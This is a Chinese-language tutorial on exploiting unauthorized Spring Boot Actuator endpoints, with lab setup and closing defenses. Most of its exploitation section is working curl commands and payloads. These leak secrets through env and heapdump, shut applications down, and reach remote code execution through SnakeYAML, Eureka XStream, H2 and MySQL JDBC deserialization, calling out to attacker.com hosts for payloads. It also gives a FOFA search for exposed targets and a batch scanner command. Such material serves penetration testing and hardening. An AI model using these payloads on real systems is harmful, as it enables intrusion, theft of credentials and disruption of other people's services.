Spring Boot Actuator 未授权的测试与利用思路
字数 2493 2025-08-05 08:19:26
Spring Boot Actuator 未授权访问漏洞分析与利用指南
1. Actuator 简介
Spring Boot Actuator 是 Spring Boot 提供的生产环境监控和管理功能模块,它通过 HTTP 端点或 JMX 方式暴露应用程序的运行状态信息。主要功能包括:
- 应用程序监控
- 健康检查
- 指标收集
- 审计日志
2. 环境搭建
2.1 Spring Boot 2.x 环境搭建
- 访问 Spring Initializr
- 选择配置:
- 项目类型:Maven Project
- 语言:Java
- Spring Boot 版本:选择最新稳定版
- 添加依赖:Spring Web、Actuator
- 生成项目并导入 IDE
- 修改端口(可选):
在application.properties中添加:server.port=${port:8100} - 运行项目:
mvn spring-boot:run
2.2 Spring Boot 1.x 环境搭建
- 修改 pom.xml 中的 Spring Boot 版本为 1.5.22.RELEASE
- 运行项目
3. 版本差异
3.1 端点访问差异
| 版本 | 默认访问规则 | 配置方式 |
|---|---|---|
| ≤1.5.x | 所有端点可直接访问 | 无特殊配置 |
| 1.5.x-2.x | 仅 health 和 info 端点可访问 | management.security.enabled=false 开启所有端点 |
| ≥2.x | 仅 /actuator/health 和 /actuator/info 可访问 | management.endpoints.web.exposure.include=* 开启所有端点 |
3.2 端点路径差异
- 1.x 版本:直接访问
/env,/trace等 - 2.x 版本:端点路径前加
/actuator前缀,如/actuator/env
3.3 管理端点路径自定义
- 1.x 版本:
management.context-path=/manage - 2.x 版本:
management.endpoints.web.base-path=/manage
4. 漏洞利用
4.1 敏感信息泄露
4.1.1 env 端点
- 泄露内容:系统环境变量、配置信息、数据库密码等
- 访问方式:
- 1.x:
http://host:port/env - 2.x:
http://host:port/actuator/env
- 1.x:
4.1.2 trace/httptrace 端点
- 泄露内容:最近的 HTTP 请求记录(含会话信息)
- 访问方式:
- 1.x:
http://host:port/trace或http://host:port/httptrace - 2.x:
http://host:port/actuator/httptrace
- 1.x:
4.1.3 mappings 端点
- 泄露内容:应用程序所有路由信息
- 访问方式:
- 1.x:
http://host:port/mappings - 2.x:
http://host:port/actuator/mappings
- 1.x:
4.1.4 heapdump 端点
- 泄露内容:JVM 堆转储文件(含敏感信息)
- 访问方式:
- 1.x:
http://host:port/heapdump - 2.x:
http://host:port/actuator/heapdump
- 1.x:
- 分析方法:
使用 Eclipse Memory Analyzer 工具搜索关键词:select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
4.2 修改运行状态
4.2.1 env 端点修改环境变量
- 方法:POST 请求修改环境变量
curl -H "Content-Type:application/json" -X POST --data '{"name":"hello","value":"123"}' http://host:port/actuator/env
4.2.2 refresh 端点
- 作用:刷新配置
- 访问方式:
- 1.x:
http://host:port/refresh - 2.x:
http://host:port/actuator/refresh
- 1.x:
4.2.3 shutdown 端点
- 作用:关闭应用程序
- 访问方式:
- 1.x:
http://host:port/shutdown - 2.x:
http://host:port/actuator/shutdown
- 1.x:
4.3 命令执行
4.3.1 Spring Cloud SnakeYAML RCE
条件:
- spring-cloud-starter 版本 < 1.3.0.RELEASE
利用步骤:
- 制作恶意 payload.jar
- 创建 example.yml 文件:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com/payload.jar"] ]] ] - 修改环境变量:
curl -X POST --data 'spring.cloud.bootstrap.location=http://attacker.com/example.yml' http://target/env - 刷新配置触发:
curl -X POST http://target/refresh
4.3.2 Eureka XStream 反序列化 RCE
条件:
- eureka-client < 1.8.7
利用步骤:
- 搭建恶意 XML 服务器
- 修改 eureka.client.serviceUrl.defaultZone 属性
curl -H 'Content-Type: application/x-www-form-urlencoded' -X POST --data "eureka.client.serviceUrl.defaultZone=http://attacker.com/exploit" http://target/env - 触发刷新:
curl -X POST http://target/refresh
4.3.3 H2 Database RCE
利用步骤:
- 设置 spring.datasource.hikari.connection-test-query 属性:
curl -H "Content-Type:application/json" -X POST --data '{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT(''void ex(String cmd) throws Exception {Runtime.getRuntime().exec(cmd);}'');CALL EXEC(''command'');"}' http://target/actuator/env - 触发重启:
curl -H "content-Type: application/json" -X POST http://target/actuator/restart
4.3.4 MySQL JDBC 反序列化 RCE
利用步骤:
- 生成反序列化 payload:
java -jar ysoserial.jar CommonsCollections3 "command" > payload.ser - 修改 spring.datasource.url:
curl -H "Content-Type:application/json" -X POST --data '{"name":"spring.datasource.url","value":"jdbc:mysql://attacker:3306/mysql?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"}' http://target/actuator/env - 触发刷新或重启
5. 漏洞检测
5.1 目标收集
使用 FOFA 搜索:
body="Whitelabel Error Page" && country="CN"
5.2 检测工具
推荐使用 SB-Actuator:
python3 SB-Actuator.py -f targets.txt
5.3 手动检测
检查常见端点:
/actuator/actuator/env/actuator/heapdump/actuator/mappings/actuator/refresh
6. 防御措施
- 禁用不必要的 Actuator 端点
- 启用安全认证:
management.security.enabled=true security.user.name=admin security.user.password=strongpassword - 自定义管理端点路径
- 限制 Actuator 端点的访问 IP
- 及时升级 Spring Boot 和相关依赖
7. 总结
Spring Boot Actuator 未授权访问漏洞可能造成严重的安全后果,包括敏感信息泄露和远程代码执行。安全团队应定期检查应用程序中的 Actuator 配置,确保采取了适当的安全措施。开发人员应遵循最小权限原则,仅暴露必要的监控端点,并实施适当的访问控制。